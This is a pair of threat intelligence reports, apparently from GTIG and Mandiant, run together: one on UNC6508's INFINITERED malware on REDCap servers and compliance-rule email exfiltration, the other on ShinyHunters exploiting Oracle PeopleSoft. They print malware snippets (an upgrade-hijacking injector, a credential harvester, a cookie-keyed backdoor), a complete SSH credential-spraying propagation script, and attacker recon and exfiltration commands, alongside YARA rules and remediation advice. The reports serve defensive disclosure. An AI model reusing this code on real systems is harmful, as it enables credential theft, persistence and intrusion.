Written by: Patrick Whitsell, John McGuiness

Google Threat Intelligence Group (GTIG) has identified a sophisticated campaign attributed to UNC6508, a People's Republic of China (PRC)-nexus threat actor, targeting institutions in the North American academic, medical, and military research community. While remaining undetected for over a year, the threat actor compromised externally facing web applications, deployed bespoke malware, pivoted to sensitive internal systems, and abused enterprise administrative tools for covert data exfiltration. The threat actor had broad collection aspirations, including sensitive defense intelligence related to national security, Indo-Pacific command operations, artificial intelligence, uncrewed vehicle systems, cyber offensive programs, and medical research. 

GTIG disrupted the malicious infrastructure associated with this threat actor. Working with Mandiant Consulting, we notified the affected organizations upon detection and offered our assistance with remediation. We have updated Google Security Operations (SecOps) with relevant intelligence, enabling defenders to identify indicators of compromise (IOCs) within their networks. We encourage all users and customers to follow recommended best practices for third-party Identity Providers (IdP) and ensure 2-Step Verification (2SV) is enabled across all accounts.

Campaign Overview

The campaign targeted a diverse set of national, state, and private medical entities. These organizations comprise world-renowned clinical providers, premier academic centers, North American military health institutions, professional advocacy groups, and health regulatory bodies. Their research areas span a broad spectrum of modern medicine, from molecular discovery and clinical drug trials to state-level public health policy and military readiness. They employ thousands of people with a combined research budget in the billions of dollars.

The earliest known compromise occurred in September 2023, after which GTIG observed a consistent operational pattern. The threat actor exploited externally facing REDCap (Research Electronic Data Capture) servers and deployed custom malware named INFINITERED to capture legitimate REDCap login credentials. Then, after remaining undetected for more than a year, UNC6508 used the captured credentials to access the victim’s internal network. The threat actor was also observed using the novel technique of manipulating domain content compliance rules for data exfiltration. Lastly, UNC6508 used sophisticated operations security (OpSec) techniques to conceal and obfuscate their activity. 

GTIG collaborated closely with Mandiant Consulting, the FLARE team, and Workspace Security on this effort to combine our threat intelligence, incident response, and reverse engineering expertise across Google Cloud. This enabled us to develop a complete picture of the attack lifecycle from initial compromise to complete mission. GTIG also extends thanks to the affected organizations for their cooperation and the valuable post-exploitation insights they shared.

Prevention, Detection, and Remediation

GTIG recommends defenders implement the following security measures, across all Cloud enterprise platforms, to mitigate this threat:

• Secure Admin Accounts: Enforce phishing-resistant 2-Step Verification (2SV) for enterprise administrator accounts, including through third-party Identity Providers.

• Advanced Protection: Consider enrolling highly sensitive accounts in our Advanced Protection Program for additional safeguards against malware and phishing attacks.

• Prevent Cookie Theft: Enforce Device Bound Session Credentials (DBSC) with CAA for highly sensitive accounts on Windows devices to prevent session hijacking.

• Monitor Audit Logs: Enable Audit logs to analyze, monitor, and alert on changes to your data.

• Control Data: Define Data Loss Prevention (DLP) rules to block or alert on external sharing of sensitive data.

• Audit Compliance Rules: Review Admin audit logs and content compliance rules for unauthorized modifications.

• SIEM Coverage: Consider using Google Security Operations (SecOps) and ensure Workspace logs are included in your Security Information and Event Management (SIEM) pipeline.

• Password Protection: Use Chrome Enterprise Password Leak Detection to alert when potentially compromised password use is detected.

• Patch REDCap: Fully updated REDCap installations to the latest software version and ensure older versions are completely removed.

• Monitor for INFINITERED: Scan REDCap servers for the presence of INFINITERED using the provided YARA rule and IOCs.

Medical Research University Compromise

In September 2023, a REDCap server belonging to a North American medical research institution was compromised. Continuing activity was observed through November 2025. During this time period, UNC6508 carried out the following attack chain.

1. Exploit the REDCap server.

2. After three months, deploy the INFINITERED malware.

3. INFINITERED stealthily records credentials, and persists through upgrades, for more than a year.

4. Pivot to a domain admin account.

5. Add the malicious content compliance rule.

6. Silently “BCC-forward” matched emails to a threat actor-controlled account.

Initial Access: REDCap Exploitation and INFINITERED

UNC6508 consistently targets REDCap servers. REDCap is a web-based software platform designed specifically for building and managing online databases and surveys, in compliance with regulations for medical and scientific research. It is a commonly used platform in the North American medical research community.

GTIG was not able to confirm how UNC6508 initially gained access to the REDCap server. By design, REDCap allows administrators to continue running legacy software side-by-side with the current version. UNC6508 was observed probing for these vulnerable legacy versions on several target organizations’ REDCap systems. This highlights not only the increasing importance of rapidly applying security patches, but also promptly removing older software versions to prevent downgrade attacks.

Upon establishing a foothold on the REDCap server, UNC6508 performed internal reconnaissance and credential discovery to obtain database and service account credentials. The threat actor also deployed a web shell named "help.php", which maintained persistence and functioned as an uploader in the REDCap application.

INFINITERED Analysis

Three months after the initial compromise, UNC6508 deployed a custom malware payload tracked as INFINITERED. This malware implements its functionality across three distinct modular components by trojanizing legitimate REDCap system files.

• Dropper and Upgrade Interception 

• Credential Harvester

• Backdoor, with command and control (C2)

GTIG discovered multiple organizations across the US and Canada compromised with INFINITERED. All of these organizations were promptly notified of the compromise upon detection and offered our assistance with remediation.

Dropper and Upgrade Interception

To maintain persistent remote access, INFINITERED injects its code into new REDCap versions by intercepting the upgrade process. This capability is embedded into the legitimate REDCap upgrade system file. INFINITERED performs this code injection following these steps.

1. Read the current software version, which includes the INFINITERED code. 

2. Extract the malicious logic using GUID delimiter b49e334d-9c01-463e-9bc5-00a6920fb66e. 

3. Inject backdoor code into the custom hooks configuration file. 

4. Inject credential harvester code into the authentication system file.

5. Inject the extracted code from step 2 into the upgrade system file.

In Elastic Beanstalk environments, INFINTERED performs additional steps to ensure persistence in cloud deployments.

// b49e334d-9c01-463e-9bc5-00a6920fb66e
...
$file_upgrade = $base_path."Upgrade.php"; 
$file_content_upgrade = $zip->getFromName($file_upgrade); // new upgrade file content
$file_content_upgrade_local = file_get_contents(__FILE__); // Contents of the current file 
...
if ($file_content_upgrade !== false) {
    // Base64 GUID delimiter
    $dummy_marker = base64_decode('YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl');
    $pattern = "/$dummy_marker(.*?)$dummy_marker/s";
    if (preg_match($pattern, $file_content_upgrade_local, $matches)) {
        $extracted_text = $matches[0];
        $search_content = "// If running on AWS Elastic Beanstalk"; 
        $upgrade_decode = "// ".$extracted_text."\r\n\t\t".$search_content;
        $new_content = str_replace($search_content, $upgrade_decode, $file_content_upgrade);
        $zip->deleteName($file_upgrade);
        $zip->addFromString($file_upgrade, $new_content);
    }
}
$zip->close();
...
// b49e334d-9c01-463e-9bc5-00a6920fb66e

Code Snippet 1: Intercept upgrades and inject INFINITERED code

Credential Harvester

INFINITERED injects a credential harvester into the authentication system file to compromise user accounts. This component of the malware captures usernames and passwords submitted via POST requests during the login process. The credentials are encrypted using the environment’s default encryption routine and hidden inside a local REDCap sessions database table with the string “xc32038474a” prefixed to the Session ID.

$currentUTC = gmdate('Y-m-d H:i:s');
$str = encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);
include dirname(__FILE__, 3) . DIRECTORY_SEPARATOR . 'redcap_connect.php';
$expiration_timestamp = strtotime("+60 days", strtotime($currentUTC));
$session_id = 'xc32038474a'.substr(bin2hex($currentUTC), -20);
$session_sql = "INSERT INTO [REDACTED] ([REDACTED],[REDACTED],[REDACTED]) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))";
@$rc_connection->query($session_sql);

Code Snippet 2: Hide credentials in a legitimate database table

Backdoor

INFINITERED also has backdoor functionality it establishes in the custom hooks system file inside the update package, specifically within a function that executes on every REDCap page load. This global hook ensures the backdoor runs on every page load. INFINITERED looks for a specific HTTP Cookie parameter named "REDCAP-TOKEN" and a cookie value starting with a specific plaintext string. If these conditions are present, the malware strips the prefix and decrypts the remaining payload with the environment's default decryption routine.

$cookieValue = $_COOKIE['REDCAP-TOKEN'];
if ($cookieValue) {
    $magic_flag = '[REDACTED]'; // Cookie prefix
    ...
    // Decrypt message if cookie prefix is found
    $key = '[REDACTED]';
    $req_data = substr($cookieValue, strlen($magic_flag));
    $req_data = decrypt($req_data, $key);

Code Snippet 3: Decrypting commands to INFINITERED

If the decrypted payload is empty, the malware acts as a beacon, returning system details such as the OS, PHP version, working directory, and database credentials including the hostname, username, password, and salt. When non-empty, the malware will parse the payload for command tags, which the threat actor can use to execute shell commands, run raw SQL queries, and transfer files.

Supported Commands

INFINITERED is capable of executing the following commands.

Domain Content Compliance Rule Abuse

More than a year after the initial compromise, UNC6508 used overlapping credentials, harvested from REDCap, to access an administrator account. This underscores the challenge and importance of securing systems holistically. Defenders should enable 2-Step Verification (2SV) and ensure unique credentials are used across different security domains to mitigate credential replay attacks.

UNC6508 then leveraged content compliance rules, a legitimate feature present in many cloud-based enterprise productivity suites, to exfiltrate specific email communications. Administrators can create these rules to manage email messages that contain content matching predefined sets of words, phrases, text patterns, or numerical patterns. By default, compliance rules apply to all users in an organizational unit. The use of compliance rules for data exfiltration is a novel technique not previously observed with PRC-nexus threat actors.

Specifically, UNC6508 created a compliance rule named "Patroit" [sic] that used regular expressions to match on keyword and email address patterns in sent or received emails. Matches were silently BCC-forwarded to a threat actor-controlled Gmail address, BebitaBarefoot774[@]gmail[.]com, providing a covert and continuous stream of exfiltrated data. Upon discovery, GTIG disabled the Gmail account to prevent further data exfiltration.

The patterns used in the “Patroit” compliance rule suggest strategic intelligence collection targeting geo-strategic policy, military strategy, advanced technology, and medical research. The patterns also include professional email addresses and phone numbers for members of organizations in these spaces. Several of the terms applied have spelling errors, suggesting the list was manually maintained. 

This ambitious scope of intelligence collection from UNC6508 may suggest a broader range of targets beyond the identified victims in the medical research community. GTIG assesses these collection priorities are aligned with the strategic interests of the People's Republic of China. 

While most of the terms relate to defense and technology, the terms including medical research facilities, and the specific pathogen “Chikungunya,” stand out from the others. Chikungunya is a viral disease transmitted to humans from mosquitos and was responsible for an outbreak in China's Guangdong province beginning in July 2025.

Operations Security (OpSec)

GTIG observed UNC6508 use sophisticated and meticulous OpSec techniques to conceal their activities from defenders.

UNC6508 relied heavily on Obfuscation (OBF) networks. This strategy, now frequently employed by PRC-nexus actors, involves routing traffic from offensive operations through a mix of compromised routers, residential proxies, Virtual Private Servers (VPS), and other devices.  

This operation used exclusively US-based OBF network IP addresses to access both the "BebitaBarefoot774[@]gmail[.]com" account and when replaying legitimate credentials to access the compromised enterprise administrator account. Additional OpSec techniques were also used, such as obtaining the threat actor-controlled Gmail account through a mass creation service and dedicating it exclusively to email data exfiltration.

By maintaining a high level of OpSec, UNC6508 significantly complicates the efforts of defenders to identify malicious patterns, establish accurate attribution, and map the threat actor’s infrastructure.

Attribution

GTIG attributes this activity to UNC6508 with high confidence. This assessment is based on infrastructure overlaps between campaigns, the consistent use of the INFINITERED backdoor on REDCap servers, and the specific targeting of medical research and defense sectors. We assess UNC6508 is an espionage motivated threat cluster, with priorities that align with historic PRC state-sponsored espionage trends and intelligence collection requirements.

Indicators of Compromise (IOCs)

To assist the wider community, we have also included a list of indicators in a GTI Collection for registered users.

Network Indicators

File Indicators

Host Indicators

MITRE ATT&CK Mapping

Detections

YARA Rules

rule G_Backdoor_INFINITERED_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$magic_flag = "ej671a16i7fd8202nu6ltfg5p6x7u"
		$magic_flag_base64 = "ej671a16i7fd8202nu6ltfg5p6x7u" base64
		$marker = "b49e334d-9c01-463e-9bc5-00a6920fb66e"
		$marker_base64 = "YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl"
		$s1 = "substr($cookieValue, strlen($magic_flag));"
		$s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']"
		$s3 = "'data' => encrypt($data, $key)"
		$s4 = "$data = shell_exec($command);"
		$s5 = "move_uploaded_file($tmpPath, $fileName)"
		$s6 = "$data = implode('|', $fields)"
		$b_s1 = "substr($cookieValue, strlen($magic_flag));" base64
		$b_s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']" base64
		$b_s3 = "'data' => encrypt($data, $key)" base64
		$b_s4 = "$data = shell_exec($command);" base64
		$b_s5 = "move_uploaded_file($tmpPath, $fileName)" base64
		$b_s6 = "$data = implode('|', $fields)" base64
		$t1 = "(isset($_POST['username']) && $_POST['password'])"
		$t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))"
		$t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);"
		$t4 = "redcap_connect.php"
		$b_t1 = "(isset($_POST['username']) && $_POST['password'])" base64
		$b_t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))" base64
		$b_t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);" base64
		$b_t4 = "redcap_connect.php" base64
		$u1 = "$zip->open($filename) === TRUE)"
		$u2 = "$hooks_encode ="
		$u3 = "$auth_encode ="
		$u4 = "$file_content_hooks = $zip->getFromName($file_hooks);"
		$u5 = "$file_content_auth = $zip->getFromName($file_auth);"
		$u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);"
		$u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);"
		$u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);"
		$u9 = "str_replace($search_content, $auth_decode, $file_content_auth);"
		$b_u1 = "$zip->open($filename) === TRUE)" base64
		$b_u2 = "$hooks_encode =" base64
		$b_u3 = "$auth_encode =" base64
		$b_u4 = "$file_content_hooks = $zip->getFromName($file_hooks);" base64
		$b_u5 = "$file_content_auth = $zip->getFromName($file_auth);" base64
		$b_u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);" base64
		$b_u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);" base64
		$b_u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);" base64
		$b_u9 = "str_replace($search_content, $auth_decode, $file_content_auth);" base64
		$filemarker = "<?php"
	condition:
		filesize < 1MB and $filemarker in (0 .. 128) and (((any of ($magic*) or any of ($marker*)) and (any of ($s*) or any of ($t*) or any of ($u*))) or 4 of ($s*) or 4 of ($b_s*) or all of ($t*) or all of ($b_t*) or 6 of ($u*) or 6 of ($b_u*))
}

Introduction

Mandiant and Google Threat Intelligence Group (GTIG) have identified an active compromise and extortion campaign attributed to UNC6240 (ShinyHunters) targeting Oracle PeopleSoft application infrastructure. The activity was observed between May 27, 2026, and June 9, 2026 and is consistent with the exploitation of CVE-2026-35273, a critical remote code execution vulnerability (CVSS 9.8) in the Environment Management component. The exploitation of this vulnerability directly aligns with the observed targeting of Environment Management Hub (PSEMHUB) endpoints. Because this activity predates Oracle's June 10, 2026 advisory, the vulnerability was exploited as a zero-day.

Upon becoming aware of active scanning and exploitation, we initiated notifications to over 100 global organizations whose IP addresses correlated with potentially vulnerable endpoints. Most of these organizations were based in the United States, and 68 percent operated within the higher education sector. Subsequently, public reports by @nahamike01 on X highlighted open attacker directories on the staging servers, allowing GTIG to perform a detailed triage of the threat actor's operations. 

The attacker staging environments hosted customized MeshCentral agents masquerading as legitimate cloud endpoints, which they used to run administrative command queries and deploy a custom lateral movement and defacement script, [victim_abbreviation]_fanout.sh. This campaign directly correlates with subsequent data leaks of stolen organization data published on the ShinyHunters Data Leak Site (DLS) on June 9, 2026. 

We recommend that organizations running Oracle PeopleSoft take the following immediate actions to best defend themselves. Additional remediation and hardening guidance is included later in this post.

aside_block

<ListValue: [StructValue([('title', 'Remediation and Hardening Quick Guide'), ('body', <wagtail.rich_text.RichText object at 0x7f65cc249e20>), ('btn_text', ''), ('href', ''), ('image', None)])]>

Threat Detail & Campaign Overview

On June 9 2026, public threat reports highlighted open attacker directories. GTIG triaged five sequential IP addresses: 142.11.200.186, 142.11.200.187, 142.11.200.188, 142.11.200.189, and 142.11.200.190. These systems were hosting Python SimpleHTTP servers on port 8888, exposing directory contents that included staging materials, customized agents, and attacker command histories.

The staging infrastructure hosted pre-configured Windows MeshCentral agent binaries disguised as Microsoft Azure services, specifically named meshagent32-azure-ops.exe, meshagent64-azure-ops.exe, and meshagent64-v2.exe. MeshCentral is an open-source remote management server; its agent is software that runs on remote devices to allow for remote management across various operating systems, including Windows, Linux, macOS, and FreeBSD. Static analysis indicates these agents were hardcoded to establish communication with the command and control (C2) server wss://azurenetfiles.net:443/agent.ashx. The domain azurenetfiles.net was chosen to mimic legitimate Microsoft Azure NetApp Files endpoints, a common masquerading tactic. An unconfigured Linux meshagent binary was also staged, suggesting that the threat actors passed parameters dynamically via the command line during deployment.

Global Notification Response Campaign

Prior to the discovery of the open staging directories, we began an effort to alert over 100 exposed organizations to assist in restricting access to vulnerable endpoints. These organizations are significantly concentrated in the Higher Education sector; 68 percent are academic institutions, including universities and colleges worldwide.

While several organizations successfully blocked the activity or remediated the vulnerabilities, others experienced compromise, resulting in stolen data being published on the ShinyHunters DLS.

Technical Analysis & Command History

The exposed .bash_history file, which was identical across all five staging hosts, outlines the server configuration and administrative actions. The technical narrative begins with the configuration of the staging environment. On May 27, 2026, at 22:14 UTC, the attackers installed the MeshCentral remote management server (version 1.1.59) to establish their C2 staging environment. Shortly after, at 22:25 UTC, they installed the acme-client npm package to automate the provisioning of Let's Encrypt SSL certificates for the masquerading domain "azurenetfiles.net".  The attackers interacted with compromised systems using the MeshCentral command-line interface utility meshctrl.js.

The command history shows the threat actors performing targeted reconnaissance within compromised internal networks. They mapped Oracle PeopleSoft configurations by inspecting mount points, checking the process scheduler configuration file psappsrv.cfg, and reading WebLogic server XML configurations (config.xml). The session log ends with the attackers establishing an outbound SSH connection from their staging system to 176.120.22.24, which hosts the public clearnet mirror of the ShinyHunters DLS.

An analysis of the exposed command history reveals the key administrative and malicious operations performed by the threat actors on the staging servers (timestamps were not available in every case):

1. Staging Infrastructure Setup:

1. May 27, 2026, 22:14 UTC: Installed MeshCentral (v1.1.59) and 22:25 UTC: Installed "acme-client" to establish the C2 staging environment and automate SSL certificate provisioning for azurenetfiles.net.

2. Staged the compiled Windows agent binaries (meshagent32-azure-ops.exe, etc.) designed to communicate back to the C2 address: wss://azurenetfiles.net:443/agent.ashx.

3. May 29, 2026, 18:46 UTC: The attackers checked for the availability of the "authenticode" tool on the staging system using the command npm list global authenticode. This command would return any npm package with a name starting in 'authenticode', such as authenticode-sign, used for signing binaries, or authenticode, used for examining metadata on a file.

2. Targeted Internal Reconnaissance:

• Leveraged the MeshCentral CLI utility meshctrl.js to execute administrative command queries on compromised remote endpoints: hostname; id.

• Mapped Oracle PeopleSoft system configurations by inspecting the process scheduler configuration file (psappsrv.cfg) to extract machine names and IP addresses:

grep -hE '\''^[[:space:]]*Address=|^[[:space:]]*HostName='\'' /u01/app/psoft/ps_config_homes/csprd/appserv/prcs/psappsrv.cfg 2>/dev/null | head -80

• Audited network configurations and active mounts on compromised hosts: mount | grep -E "psoft|ps_config|nfs".

• Mapped internal subnet hosts by querying local hosts tables: cat /etc/hosts | grep -E "[redacted_victim_string]".

• Inspected WebLogic XML configurations (config.xml) to map internal application servers.

3. Lateral Movement & Script Propagation:

• Wrote the lateral propagation script [victim_abbreviation]_fanout.sh via a heredoc to /tmp on the staging host.

• Triggered the execution of the propagation script on compromised hosts using the MeshCentral command execution feature:

node meshctrl.js RunCommand --loginuser admin --loginpass '[password]' --id '[agent_id]' --run 'bash /tmp/[victim_abbreviation]_fanout.sh'

• Verified propagation success by running remote checks for the defacement marker file README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT.

4. Exfiltration & DLS Connection:

• Compressed exfiltrated directories containing stolen data using zstd:

pv -s "$(du -sb exfil | awk '{print $1}')" | zstd -3 -T0 -o exfil.tar.zst

• Concluded operations by establishing an outbound SSH connection from the staging host to 176.120.22.24, the IP address hosting the public mirror of the ShinyHunters Data Leak Site.

Propagation Script & Lateral Movement

As observed in the .bash_history log, the threat actors wrote a propagation script named [victim_abbreviation]_fanout.sh directly to the /tmp directory of the compromised system. This script automates SSH credential spraying against internal hosts by parsing hostnames from the local /etc/hosts file matching a specific naming pattern. The script attempts authentication using a hardcoded list of common administrative and application-specific usernames and passwords.

Upon establishing a successful SSH session, the script copies a defacement and extortion marker file named README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT into the WebLogic and Process Scheduler directories. This staging and deployment activity directly correlates with the publication of stolen archives on the ShinyHunters DLS on June 9, 2026.

The redacted contents of the propagation script [victim_abbreviation]_fanout.sh are as follows:

set +e
SRC="/u01/app/psoft/ps_config_homes/csprd/webserv/CSPRD02/README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT"
NAME="README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT"
BASE="/u01/app/psoft/ps_config_homes/csprd"
export PATH=/usr/bin:/bin
# hosts from /etc/hosts — internal PS nodes only
HOSTS=$(grep -E '[redacted_victim_host_pattern]|csprd[0-9]' /etc/hosts | awk '{print $2}' | grep -v '^#' | sort -u)
echo "HOSTS=$(echo $HOSTS | wc -w)"
PWDS="[redacted_passwords]"
USERS="[redacted_usernames]"
OK=0; FAIL=0; SKIP=0
for h in $HOSTS; do
  echo "=== $h ==="
  copied=0
  for u in $USERS; do
    for p in $PWDS; do
      sshpass -p "$p" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=6 -o BatchMode=no $u@$h "hostname" >/dev/null 2>&1 && {
        for dest in $BASE/webserv/CSPRD $BASE/webserv/CSPRD02 $BASE/appserv/prcs; do
          sshpass -p "$p" ssh -o StrictHostKeyChecking=no $u@$h "test -d $dest && mkdir -p $dest && cat > $dest/$NAME" < "$SRC" 2>/dev/null && echo "  OK $dest ($u)" && OK=$((OK+1)) && copied=1
        done
        break 2
      }
    done
  done
  if [ $copied -eq 0 ]; then
    # try key-based
    ssh -o StrictHostKeyChecking=no -o ConnectTimeout=6 -o BatchMode=yes $USER@$h "hostname" >/dev/null 2>&1 && copied=1 || true
    if [ $copied -eq 0 ]; then echo "  FAIL ssh"; FAIL=$((FAIL+1)); fi
  fi
done
# local paths on this host
for dest in $BASE/webserv/CSPRD $BASE/webserv/CSPRD02 $BASE/appserv/prcs; do
  if [ -d "$dest" ]; then cp -f "$SRC" "$dest/$NAME" && chmod 644 "$dest/$NAME" && echo "LOCAL OK $dest"; fi
done
echo SUMMARY ok=$OK fail=$FAIL
find $BASE -name "$NAME" -type f 2>/dev/null

Remediation and Hardening

To defend against this campaign, we recommend that organizations running Oracle PeopleSoft immediately implement the following security measures:

Network Isolation & WAF Rules

• Endpoint Access Restrictions: If you cannot disable the EMHub Service, immediately block external network access to the sensitive endpoints /PSEMHUB/* (specifically /PSEMHUB/hub) and /PSIGW/HttpListeningConnector at the network perimeter or firewall level. Relying solely on Web Application Firewall (WAF) body-inspection rules is insufficient, as these controls can be bypassed.

• Non-Breaking Action: Restricting these endpoints is considered non-breaking for standard end-user operations. The Environment Management Hub (EMHub) and the Integration Broker Listening Connector are administrative or system-to-system components and are not required for the core user-facing PeopleSoft Internet Architecture (PIA) browser sessions.

Log & Endpoint Monitoring

• Access Log Analysis: Audit the PIA WebLogic access logs for HTTP POST requests directed at /PSEMHUB/hub and /PSIGW/HttpListeningConnector originating from external or untrusted source IP addresses.

• SSRF Detection: Analyze requests to /PSIGW/HttpListeningConnector for loopback IP addresses (such as 127.0.0.1, localhost, or ::1) or internal IP ranges passed within request headers or parameters. This is a common method for attackers to perform Server-Side Request Forgery (SSRF) to bypass access controls.

Network Telemetry

• Outbound Port 445 Monitoring: Monitor outbound firewall logs and NetFlow data for outbound SMB traffic (TCP port 445) originating from PeopleSoft hosts to untrusted, external internet destinations. The exploit chain may coerce the system into making outbound connections in an attempt to capture Windows machine-account NetNTLM hashes.

Host-Level Auditing & Filesystem Checks

Conduct a thorough forensic audit of the web-tier filesystem on PeopleSoft hosts for indicators of compromise:

• Webshell Detection: Scan the WebLogic web application directory <PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/ for any unexpected *.jsp files that are not part of the shipped product.

• Unauthorized Staging: Inspect the staging directory .../PSEMHUB.war/envmetadata/transactions/ for unauthorized folders, files, or binary drops.

• Unexpected Directories: Look for unexpected directories named logs, persistantstorage, or scratchpad under the PSEMHUB directories.

• XMLDecoder Persistence: Check <docroot>/envmetadata/data/environment/ for recently created or modified .xml files, which may be leveraged by threat actors to execute remote code via XMLDecoder upon application restart.

In alignment with Oracle’s security advisory, we consider the implementation of these mitigations to be a high-priority risk reduction measure and strongly recommend immediate action to address the identified exposure. As this vulnerability is remotely exploitable without authentication and may result in remote code execution, organizations must remain on actively supported versions and apply all Critical Patch Updates, Critical Security Patch Updates, and Security Alerts without delay. Review the full Oracle Security Alert Advisory - CVE-2026-35273 for complete details.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI collection for registered users.

Staging & C2 Network Indicators

• 142.11.200.186

• 142.11.200.187

• 142.11.200.188

• 142.11.200.189

• 142.11.200.190

• azurenetfiles.net

Staging Payloads & Attacker Files

Google Security Operations (SecOps)

SecOps customers will have access to the following pending-deployment rules. Once fully deployed, these rules will be available under the Mandiant Frontline Threats rule pack:

• Oracle PeopleSoft Configuration Inspection

• Oracle PeopleSoft Suspicious JSP File Write to PSEMHUB

• Sshpass Interactive File Deployment

• Data Archiving or Compression via Zstd Utility

• MeshCentral Command Execution via Meshctrl